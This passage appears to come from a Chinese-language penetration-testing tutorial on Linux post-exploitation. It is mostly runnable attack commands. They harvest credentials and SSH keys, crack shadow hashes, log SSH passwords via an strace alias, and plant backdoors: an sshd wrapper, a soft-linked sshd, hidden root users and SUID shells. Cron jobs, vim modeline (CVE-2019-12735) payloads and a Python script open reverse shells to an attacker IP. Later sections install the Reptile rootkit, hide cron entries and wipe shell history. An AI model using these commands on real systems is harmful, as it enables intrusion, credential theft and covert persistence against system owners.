cat ~/.ssh/known_hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查詢WEB-INF" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "\n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "\n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "\n" | tee -a $filename
# Author cances
echo "ip和網路卡資訊" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陸使用者" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "使用者登陸日誌" | tee -a $filename
lastlog | tee -a $filename
echo -e "\n" | tee -a $filename
echo "檢視 hosts" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "檢視 系統版本" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "\n" | tee -a $filename
echo "檢視 核心版本" | tee -a $filename
uname -mrs | tee -a $filename
Linux隧道技術
Linux內網滲透用到的隧道技術和Windows內網滲透大差不差。
詳細見《代理、轉發及隧道隱藏》文章
Linux橫向移動
主機存活探測
shell
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
arpscan
git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan
nbtscan Linux版
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make
nbtscan -h
埠掃描
就正常埠掃描,沒什麼好說的。針對高危埠,按照滲透測試流程進行滲透,這裡就不具體展開了。
常用比如Ladon、fscan等等
https://github.com/k8gege/LadonGo
SSH橫向
這個是Linux橫向的重點,獲取linux賬號的明文密碼作用很大,因為內網環境管理員可能就那麼幾個,不同伺服器所設定的密碼也有可能相同。
SSH私鑰洩露
不瞭解SSH私鑰登入的可以看這篇文章
一般情況下SSH金鑰存放在~/.ssh/
目錄下:
id_rsa 為私鑰,id_rsa.pub 為公鑰
搜尋包含SSH金鑰的檔案:(下面命令不包含隱藏檔案,也就是類似.ssh目錄下的搜尋不到)
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
如果找到金鑰,則需要確定該金鑰用於哪個伺服器,關注一下幾個檔案:
/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history
~/.ssh/config
known_hosts檔案用於驗證遠端登陸系統的身份。ssh可以自動將金鑰新增到使用者檔案,也可以手動新增。該檔案包含使用者已連線過所有主機的遠端機器ip、遠端機器公鑰。一般,初次登陸,ssh會自動將遠端主機的公鑰新增到使用者的known_hosts檔案。known_hosts格式有兩種,取決於你的~/.ssh/config
檔案中的HashKnownHosts
欄位的設定,有可能是明文也有可能是一段雜湊字串。如果沒有~/.ssh/config
檔案,這取決於/etc/ssh/ssh_config
檔案中的該欄位。
修改
/etc/ssh/ssh_config
檔案,
HashKnownHosts no
HashKnownHosts yes
通過金鑰進行登入,
使用linux機器登入,用-i
指定金鑰檔案的路徑
如果要在Windows上使用的話,例如putty:
使用 WinSCP、SFTP 等工具將私鑰檔案 id_rsa 下載到客戶端機器上。然後開啟 PuTTYGen,單擊 Actions 中的 Load 按鈕,載入你剛才下載到的私鑰檔案。如果你設定了金鑰鎖碼,這時則需要輸入。
載入成功後,PuTTYGen 會顯示金鑰相關的資訊。在 Key comment 中鍵入對金鑰的說明資訊,然後單擊 Save private key 按鈕即可將私鑰檔案存放為 PuTTY 能使用的格式。
今後,當你使用 PuTTY 登入時,可以在左側的 Connection -> SSH -> Auth 中的 Private key file for authentication: 處選擇你的私鑰檔案,然後即可登入了,過程中只需輸入金鑰鎖碼即可。
破解SSH金鑰
如果發現的 SSH 金鑰使用密碼加密,則可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以訪問 GPU,則應利用 hashcat 來縮短破解時間)。
John the Ripper 有一個函式可以將他的金鑰轉換為一個名為 john2hash.py 的雜湊值,並且預先安裝在 Kali 上:
轉換雜湊:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用綜合密碼字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密碼爆破
SSH密碼加密儲存在/etc/shadow
檔案中,可以使用john the raper
或者hashcat
等工具嘗試爆破。
shadow檔案介紹:
樣例:
root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒號分隔:
1.第一個欄位是使用者名稱
2.第二字欄位是加密的密碼,如果是X 則代表不能登入系統
3.上次修改口令的時間
4.兩次修改口令的最短間隔的天數
5.兩次修改口令的最長的間隔天數
6.設定提前多少天告警使用者口令將過期
7.口令過期後多少天禁止此使用者
8.使用者過期日期
9.保留欄位
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再來解釋一下$分割的各個部分的含義:
金鑰加密方式有5種:
$1 表示MD5加密演算法
$2 表示使用blowfish 加密演算法
$5 表示 SHA-256加密演算法
$6 表示SHA-512加密演算法(如上)
其他 標準的DES
qvhlqI7I:鹽值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 :hash值
John the rapper破解:
cp /etc/shadow shadow.txt //直接儲存shadow檔案
unshadow /etc/passwd /etc/shadow >shadow.txt //如果有unshadow的話,也可以把這兩個檔案整合
john --wordlist=pass.txt shadow.txt //利用字典進行破解
john --show shadow.txt //檢視破解資訊
hashcat破解(大字典推薦使用hashcat):
hashcat的使用可以看這篇文章https://xz.aliyun.com/t/4008
將/etc/shadow檔案,提取密碼欄位儲存hash.txt
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force
-m 是指定那種加密型別,1800是SHA-512(Unix)的代號,具體–help來檢視;
-a 是指定攻擊模式,0代表Straight模式,使用字典進行破解嘗試;
-o 是破解出來的資訊輸出結果檔案,輸出到found.txt檔案中;
hash.txt 是我們上面儲存的加密密碼檔案;
pass.txt 是我們的爆破密碼,越大越精越好;
--force 忽略破解過程中的警告資訊,跑單條hash可能需要加上此選項
也可以使用hashcat hash --show
來顯示結果
SSH Keylogger記錄密碼
利用strace系統除錯工具獲取ssh的讀寫連線的資料,以達到抓取管理員登陸其他機器的明文密碼的作用。
在當前使用者的.bashrc裡新建一條alias,這樣可以抓取他登陸其他機器的ssh密碼。
//在當前使用者的shell環境中定義一個別名
vi ~/.bashrc
//在最後一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
//重新整理當前的shell環境
source ~/.bashrc
設定完畢後,倘若當前系統不存在alias,那麼就會影響其正常使用。
設定完畢後,使用SSH登入其他機器:
然後,檢視/tmp/.sshpwd-xxxxx
檔案即可找到密碼:
strace監聽ssh來源流量
剛剛使用別名的方式來抓取登陸其他機器時的密碼,同樣也可以利用strace來監聽登陸本地的sshd流量,抓到別人連入的密碼。
應用場景如:通過漏洞獲取root許可權,但是不知道明文密碼。
ps -ef | grep sshd //父程式PID
//執行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者後臺 執行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &
Linux許可權維持
隱藏
0x01 隱藏檔案
Linux 下建立一個隱藏檔案:touch .test.txt
touch 命令可以建立一個檔案,檔名前面加一個 點 就代表是隱藏檔案,如下圖
一般的Linux下的隱藏目錄使用命令ls -l
是檢視不出來的,只能檢視到檔案及資料夾,檢視Linux下的隱藏檔案需要用到命令:ls -al
linux中每個目錄下其實都有.和..、分別代指的是當前目錄和上級目錄。 建立...檔案也是一個比較好的隱藏方法“
建立引數混淆攔截rm檔案
echo 'test' > -- //建立--檔案,需要用絕對路徑才能讀取和刪除
rm -rf --
命令執行了,檔案沒刪除,命令也沒有報錯,可以誤導管理員。
想要刪除的話,使用rm -rf '/root/--'
另外,我們可以看到在/tmp下,預設存在多個隱藏目錄,這些目錄是惡意檔案常用來藏身的地方。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/
0x02 隱藏檔案時間戳
Linux下藏後門必須要修改時間,否則很容易被發現,直接利用 touch 就可以了。
利用方法
比如參考 index.php 的時間,再賦給 webshell.php,結果兩個檔案的時間就一樣了。
touch -r index.php webshell.php
或者直接將時間戳修改成某年某月某日。如下 2022年 02 月 01 日8時10分30秒。
touch -t 2202010810.30 webshell.php
touch -t 2202010810.30 webshell.php -c
//-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time
//-c 不建立檔案
0x03 隱藏許可權
在Linux中,使用chattr命令來防止root和其他管理使用者誤刪除和修改重要檔案及目錄,此許可權用ls -l是檢視不出來的,從而達到隱藏許可權的目的。
這個技巧常被用在後門,變成了一些難以清除的後門檔案。
chattr +i evil.php #鎖定檔案
rm -rf evil.php #提示禁止刪除
lsattr evil.php #屬性檢視
chattr -i evil.php #解除鎖定
rm -rf evil.php #徹底刪除檔案
0x04 隱藏曆史操作
無痕模式
拿到shell以後,開始無痕模式
,禁用命令歷史記錄功能。
[space]set +o history
備註:[space] 表示空格。並且由於空格的緣故,該命令本身也不會被記錄。
在這命令之後你執行的所有操作都不會記錄到歷史中,然而這個命令之前的所有東西都會原樣記錄在歷史列表中。
要重新開啟歷史功能,執行下面的命令:
[Space]set -o history
它將環境恢復原狀,也就是你完成了你的工作,執行上述命令之後的命令都會出現在歷史中。
刪除指定歷史命令
history顯示記憶體和~/.bash_history中的所有內容;
記憶體中的內容並沒有立刻寫入~/.bash_history,只有噹噹前shell關閉時才會將記憶體內容寫入shell
刪除單條命令:
history -d [num]
刪除多條命令:
sed -i "100,$d" .bash_history //刪除100行以後的操作命令
0x05 隱藏埠
通過埠複用來達到隱藏埠的目的。這裡以隱藏SSH埠,通過SSH進行遠端登入
為例。
方法1、通過SSLH讓 HTTPS 和 SSH 共享同一個埠
詳細方法參考:SSLH:讓 HTTPS 和 SSH 共享同一個埠 - 知乎 (zhihu.com)
這裡以kali為例簡單演示:
下載SSLH:
sudo apt-get install sslh
配置SSLH:
sudo vi /etc/default/sslh
修改為:
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
啟動SSLH:
$ sudo systemctl enable sslh
$ sudo systemctl start sslh
測試,檢查 SSLH 守護程式是否正在監聽 443。
利用:
現在,你可以使用埠 443 通過 SSH 訪問遠端伺服器:
方法2、利用IPTables進行埠複用
目標機器配置:
# 埠複用鏈
iptables -t nat -N LETMEIN
# 埠複用規則
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 開啟開關
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 關閉開關
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
攻擊機執行:
#開啟複用
echo threathuntercoming | socat - tcp:192.168.111.133:80
#ssh使用80埠進行登入
ssh -p 80 root@192.168.111.133
#關閉複用
echo threathunterleaving | socat - tcp:192.168.111.133:80
測試完畢後,在目標機刪除iptables規則:
iptables -L -n --line-number //iptables -L -n --line-number
iptables -D INPUT 3 //刪除INPUT的第三條已新增規則,這裡3代表第幾行規則
0x06 隱藏程式
管理員無法通過相關命令工具查詢到你執行的程式,從而達到隱藏目的,實現程式隱藏。
libprocesshider : https://github.com/gianlucaborello/libprocesshider
linux-inject: https://github.com/gaffe23/linux-inject
後門
SSH後門
SSH軟連線
前提:
允許PAM認證(預設):
cat /etc/ssh/sshd_config
原理:
在sshd服務配置執行PAM認證的前提下,PAM配置檔案中控制標誌為sufficient時只要pam_rootok模組檢測uid為0(root)即可成功認證登陸
利用:
可用的軟連線名稱:
find /etc/pam.d |xargs grep "pam_rootok"
上面su、chfn、chsh
等這幾個名稱都可以,下面以su
為例:
通過軟連線建立後門:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444
執行完之後,任何一臺機器ssh root@IP -p 4444
,輸入任意密碼,成功登入:
優點:
能夠繞過一些網路裝置的安全流量監測,但是本地在檢視監聽埠時會暴露埠,建議設定成8081,8080等埠。
刪除軟連線後門:
rm -rf 【軟連線地址】
SSH Wrapper
原理:
init 首先啟動的是 /usr/sbin/sshd ,指令碼執行到 getpeername 這裡的時候,正則匹配會失敗,於是執行下一句,啟動 /usr/bin/sshd ,這是原始 sshd 。原始的 sshd 監聽埠建立了 tcp 連線後,會 fork 一個子程式處理具體工作。這個子程式,沒有什麼檢驗,而是直接執行系統預設的位置的 /usr/sbin/sshd ,這樣子控制權又回到指令碼了。此時子程式標準輸入輸出已被重定向到套接字, getpeername 能真的獲取到客戶端的 TCP 源埠,如果是指定埠, 就執行sh給個shell。
利用:
目標機:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd //4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
攻擊機:
socat STDIO TCP4:target_ip:22,sourceport=13377
#如果你想修改源埠,可以用python的struct標準庫實現。其中x00x00LF是19526的大端形式,便於傳輸和處理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
優點:
1、在無連線後門的情況下,管理員是看不到埠和程式的,last也查不到登陸。
2、在針對邊界裝置出網,內網linux伺服器未出網的情況下,留這個後門可以隨時管理內網linux伺服器,還不會留下檔案和惡意網路連線記錄。
SSH公鑰免密登入
這種用法不只是用在留後門,還可以在一些特殊情況下獲取一個互動的shell,比如redis未授權寫入公鑰。
但是這個方法比如容易被發現
攻擊機生成公私鑰對:
ssh-keygen -t rsa
再把公鑰id_rsa.pub傳送到目標上,追到到authorized_keys
檔案中:
echo id_rsa.pub >> .ssh/authorized_keys //將id_rsa.pub內容放到目標.ssh/authorized_keys裡
同時賦予許可權,但是許可權不能過大:
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
然後,ssh在開啟金鑰登入功能的前提下,攻擊機即可免密登入。
新增使用者、隱身登入
新增的使用者很容易被發現,不常用。
一句話新增普通使用者:
# 建立一個使用者名稱guest,密碼123456的普通使用者
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用來存放可執行的系統命令,"$()"也可以存放命令執行語句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
一句話新增root使用者:
# 建立一個使用者名稱guest,密碼123456的root使用者
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
隱身登入:
隱身登入系統,不會被last、who、w
等指令檢測到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
SUID後門
在介紹linux提權的時候,曾說過SUID
什麼是suid?suid全稱是Set owner User ID up on execution。這是Linux給可執行檔案的一個屬性——s標誌。通俗的理解為其他使用者執行這個程式的時候可以用該程式所有者/組的許可權。需要注意的是,只有程式的所有者是0號或其他super user,同時擁有suid許可權,才可以提權。
建立一個suid許可權的檔案:
cp /bin/bash /tmp/.woot
chmod u+s /tmp/.woot
ls -al /tmp/.woot
使用普通使用者執行就可獲得root許可權:
/tmp/.woot
/tmp/.woot -p //bash2 針對 suid 有一些護衛的措施,需要使用-p引數來獲取一個root shell
Cron後門
在 ubuntu 中直接在計劃任務中預設使用的是sh,指向的是 dash 而不是 bash ,所以執行反彈任務可能會失敗,解決方案參考:https://cloud.tencent.com/developer/article/1683265
在Linux系統中,計劃任務一般是由cron承擔,我們可以把cron設定為開機時自動啟動。cron啟動後,它會讀取它的所有配置檔案(全域性性配置檔案/etc/crontab,以及每個使用者的計劃任務配置檔案),然後cron會根據命令和執行時間來按時來呼叫工作任務。
cron表示式線上生成:https://www.bejson.com/othertools/cron/
crontab -e 設定定時任務
#每一分鐘執行一次
*/1 * * * * /bin/bash /root/test.sh
或者直接執行反彈shell
*/1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1"
test.sh:
#!/bin/bash
bash -i >& /dev/tcp/192.168.111.253/8899 0>&1
chmod +sx test.sh
crontab -l 檢視定時任務:
重啟crond服務,service crond restart
,然後就可以用nc接收shell:
如上方式,管理員執行crontab -l
就能看到執行的命令內容不是特別隱蔽。
使用如下命令設定計劃任務,crontab -l
執行後會顯示"no crontab for root",就達到了一個簡單的隱藏效果:
(printf "*/1 * * * * /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -
\r導致顯示截斷,使得後面的內容逐個字元覆蓋前面的字元;
100%c 的作用是格式化輸出一個字元,前面99個空格補齊。
詳細分析可以看這篇文章:https://cloud.tencent.com/developer/article/1683265
實際上是他將 cron 檔案寫到檔案中,而 crontab -l 就是列出了該檔案的內容:
/var/spool/cron/crontabs/root
通常 cat 是看不到這個的,只能利用 less、vim 或者 cat -A 看到,這也是利用了cat的一個缺陷
cat預設使用是支援一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令。
VIM後門
vim modeline(CVE-2019-12735)
該漏洞存在於編輯器的 modeline功能,部分 Linux 發行版預設啟用了該功能。 當 vim 開啟一個包含了 vim modeline 註釋行的檔案時,會自動讀取這一行的引數配置並調整自己的設定到這個配置。
vim預設關閉modeline。
受影響版本:Vim < 8.1.1365, Neovim < 0.3.6
使用:
首先在開啟modeline:
vim ~/.vimrc
set modeline
然後我們建立個檔案測試一下:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > test.txt
vim test.txt
可以看到成功執行了uname -a
命令
現在我們建立反彈shell的檔案:
shell.txt
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
or
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
vim python 擴充套件後門
適用於安裝了vim且安裝了python擴充套件(絕大版本預設安裝)的linux系統
vim --version
可以看到vim支援python3
構造一個反彈shell指令碼
test.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.111.253",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
執行
vim -E -c "py3file test.py"
執行完之後命令列介面就會一片空白如下圖所示,屬正常現象,此時關閉命令列介面,也不會影響已經反彈回去的shell
接收到的shell:
此時可以看到可疑的 vim 連線
但是這樣的後門太明顯了,而且 vim -E -c “py3file test.py”
命令執行之後,還會有一個空白視窗。
我們需要隱藏一下:
從以下兩點出發:
1、
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &)
#將nohup的執行結果輸出到/dev/null中
#其中/dev/null在linux中代表空裝置,結果輸出到空裝置也就是丟棄nohup的執行結果。
#“2”在linux中代表錯誤輸出,“1”在linux中代表標準輸出,在此處也就是nohup的輸出。2>&1表示將錯誤輸出繫結到標準輸出上,在此處也就是將錯誤輸出同樣輸出到空裝置上不進行顯示。這樣,無論nohup執行結果是否正確,都不會有輸出。
2、既然是後門,那麼就不能留下自己建立的檔案,可以將刪除命令直接拼接到命令上
因為我們最終的執行命令為:
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py
PAM後門
PAM (Pluggable Authentication Modules )是由Sun提出的一種認證機制。它通過提供一些動態連結庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程式,同時也便於向系統中新增新的認證手段。
利用指令碼:
https://github.com/litsand/shell
inetd後門
inetd是一個監聽外部網路請求(就是一個socket)的系統守護程式,預設情況下為13埠。當inetd接收到一個外部請求後,它會根據這個請求到自己的配置檔案中去找到實際處理它的程式,然後再把接收到的這個socket交給那個程式去處理。
如果來自外部的某個socket是要執行一個可互動的shell (比如,我們已經在目標系統的inetd配置檔案中事先定義好),這就相當於一個簡易的bind型後門
安裝:
apt-get install openbsd-inetd
利用:
#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i # 當外部請求名為daytime的服務時就彈shell
#開啟inetd
$inetd
使用nc連線
nc -vv 192.168.111.132 13
進階:
可以把daytime
換成其他服務,服務和埠的對應關係在/etc/services
檔案檢視,我們可以選擇現有的,也可以自己新增一個:
然後修改/etc/inetd.conf
nc連線8881埠介面即可獲得shell:
檢測:
檢視配置檔案即可
cat /etc/inetd.conf
ICMP後門
利用ICMP中可控的data欄位進行資料傳輸
專案地址:
https://github.com/andreafabrizi/prism
使用:
首先編譯.c檔案【具體要求可以看專案裡的介紹】
Linux 64bit:
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c
執行:
./prism Inf0
./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888
#192.168.111.132 is the victim machine running prism backdoor
#p4ssw0rd is the key
#192.168.111.253 is the attacker machine address
#8888 is the attacker machine port
DNS後門
在大多數的網路裡環境中IPS/IDS或者硬體防火牆都不會監控和過濾DNS流量。主要原理就是將後門載荷隱藏在擁有PTR記錄和A記錄的DNS域中。
一些專案:
https://github.com/DamonMohammadbagher/NativePayload_DNS
https://github.com/iagox86/dnscat2
http://code.kryo.se/iodine
程式注入
程式注入類後門一般都需要一個 ptrace 庫,ptrace 庫用來除錯程式,基本 linux 系統都自帶此庫。
程式注入工具很多
https://github.com/gaffe23/linux-inject
https://sourceforge.net/projects/cymothoa/files/
https://github.com/screetsec/Vegile
【false】Cymothoa
cymothoa 是一個後門工具,利用程式碼 shellcode 會被注入到程式中,只要程式存在,後門就會有效,所以一般選擇一些自啟服務的程式來注入,例如 web 服務 mysql,apache 等。其後門所擁有的許可權和注入的程式許可權是相同的。當拿下目標 shell 後就可以使用 cymothoa 新增後門了。
使用:
下載,進入Cymothoa,執行
./cymothoa -S #列出可用的shellcode
這裡我們就用序號 1 這個 payload,通過埠來反向 shell。使用 -p
引數,用來指定需要注入的程式的 pid, - s
,用來指定使用 shellcode 的序號,-y
用來指定反向 shell 的埠,即別人連線自己時需要連線的埠。執行後當出現 infected 即感染的意思則代表後門注入成功。
沒成功,先沒管了。。。
Vegile
Vegile是一個用來隱藏自己的程式的工具,即使程式被殺,又會重新啟動。總會有一個程式會執行另一個程式,所以我們可以假設這個程式是不可阻擋的。
attack機器
先生成個後門:
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR
使用任意一種方式傳到victim機器。
使用msf監聽:
victim機器
git clone https://github.com/Screetsec/Vegile.git
cd Vegile
chmod +x Vegile
-i
是程式注入的方式
-u
是程式被殺還可以繼續反彈shell
執行
./Vegile --i test
--u
也類似,就不演示了。
Tiny shell
Tiny Shell 是一款開源的Unix類後門shell工具,由C語言編寫,體積小,通訊加密,分為客戶端和服務端,支援正向連線和反彈連線模式
https://github.com/orangetw/tsh
使用:
- 正向:
首先開啟tsh.h
設定密碼(使用者加密客戶端與服務端的通訊資料);
修改SERVER_PORT值(後門執行後監聽的埠);
修改FAKE_PROC_NAME值(用於偽裝顯示後門執行後的程式名字);
註釋掉CONNECT_BACK*
兩行程式碼(這兩行程式碼使用者反向模式);
這裡因為演示就簡單改一下,修改後如下所示:
編譯:
make linux
#支援多種系統 linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
編譯完成後生成tsh(客戶端)、tshd(服務端)兩個檔案:
服務端執行:
umask 077; HOME=/var/tmp ./tshd
./tshd
客戶端:(除了獲取shell之外,還可以執行單條命令、傳輸檔案)
./tsh 192.168.111.132
#./tsh victim_ip
注: 服務端執行後,其父程式PID是1,也就是說這個程式是守護程式除非重啟系統,或者手動關閉,否則一直存在(當然你也可以加入啟動項,或者加入任務計劃中)
- 反向:
編譯前的準備工作和 編譯正向模式類似,不過 需要將CONNECT_BACK*
兩行去掉註釋,即去掉//,並將ip改為客戶端的ip,延時也可適當修改:
編譯:
make linux
服務端執行
umask 077; HOME=/var/tmp ./tshd
./tshd
客戶端執行:
./tsh cb #cb表示反向模式
注:這裡只是簡單演示,在實際使用中還可以進行各種欺騙性偽裝,改程式名、移到欺騙性目錄等等。
自啟動
chmod +x /etc/rc.d/rc.local
vi /etc/rc.d/rc.local
在此檔案中新增需要開機執行的指令碼的絕對路徑,如
/usr/local/shell/crontab.sh
儲存退出,即可生效。
設定定時任務後,系統重啟後會自動定時執行,不需要再設定開機自啟,如果發現有中斷的情況,考慮crond服務的啟動情況。
Rootkit
rootkit是攻擊者向計算機系統中植入的,能夠隱藏自身蹤跡並保留root許可權的惡意程式。rootkit基於攻擊者已經拿到root許可權之後對系統進行破壞。rootkit會盡可能通過隱藏檔案、程式、模組、程式等資訊避免被監控程式檢測。
這個專案列出了很多好用的rootkit,感興趣的可以去看看。
這裡只演示一下Reptile的使用。
Reptile 是種 LKM(Loadable Kernel Modules) rootkit,因此具有很好的隱藏性和強大的功能。
安裝:
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
./setup.sh install #全自動化安裝,安裝後也會全自動刪除,要注意需要互動式shell
安裝過程會有如下選項:
Hide name (will be used to hide dirs/files) (default: reptile): 會被隱藏的檔案或檔名
Auth token to magic packets (default: hax0r):連線後門時的認證
tokenBackdoor password (default: s3cr3t):後門密碼
Tag name that hide file contents (default: reptile):標籤名,在該標籤中的內容都會被隱藏
Source port of magic packets (default: 666): 源埠預設即可
Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段時間彈 shell ,這個功能很強,隱藏+開機自啟動,如果對方防範意識不高,可以使用這個。
Reverse IP : 控制端ip
Reverse Port: 控制端埠
would you like to config reverse shell each x time(default:1800) :您希望每隔x時間回連一次
安裝成功,並且可以刪除本地資料夾:
看看rootkit效果:
隱藏目錄:
名稱中包含的所有檔案和資料夾都reptile將被隱藏。您可以在安裝之前進行配置。
以下命令隱藏/取消隱藏檔案、資料夾、程式和核心模組本身:
隱藏:/reptile/reptile_cmd hide
取消隱藏:/reptile/reptile_cmd show
隱藏程式:
隱藏程式:/reptile/reptile_cmd hide <pid>
取消隱藏程式:/reptile/reptile_cmd show <pid>
隱藏TCP/UDP連線:
隱藏:/reptile/reptile_cmd conn <IP> hide
取消隱藏:/reptile/reptile_cmd conn <IP> show
注意:預設情況下,TCP 和 UDP 隱藏功能隱藏到 IP 的所有連線
控制端:
安裝:
#首先安裝依賴
apt install libreadline-dev #Debian
yum install readline-devel #RHEL
安裝執行 ./setup client
進入bin目錄,執行./client
即可啟動
這個後門的運作邏輯是用任意機器(一般都是控制機)的特定埠(配置目標機器的時候666那個srcport引數)給目標 任意埠傳送一段資料。然後目標機器接受到這個資料,再按照配置的裡面回連。
控制端根據受控端的配置,進行設定:
設定完之後,執行run
,等待一會就會收到目標機器的連線,進入控制介面
目標重啟之後仍然可以接收到後門。
更多使用,參考官方wiki
Linux痕跡清理
在攻擊結束後,如何不留痕跡的清除日誌和操作記錄,以掩蓋入侵蹤跡,這其實是一個細緻的技術活。你所做的每一個操作,都要被抹掉;你所上傳的工具,都應該被安全地刪掉。
Linux痕跡清理方法見
https://www.cnblogs.com/yokan/p/15701536.html
參考
https://www.freebuf.com/articles/network/257603.html
https://websec.readthedocs.io/zh/latest/intranet/linux/index.html
https://baiker.top/0839a9742351
https://xz.aliyun.com/t/100
https://www.ddosi.org/ssh-movement/
https://xz.aliyun.com/t/7338
https://www.cnblogs.com/-mo-/p/12337766.html
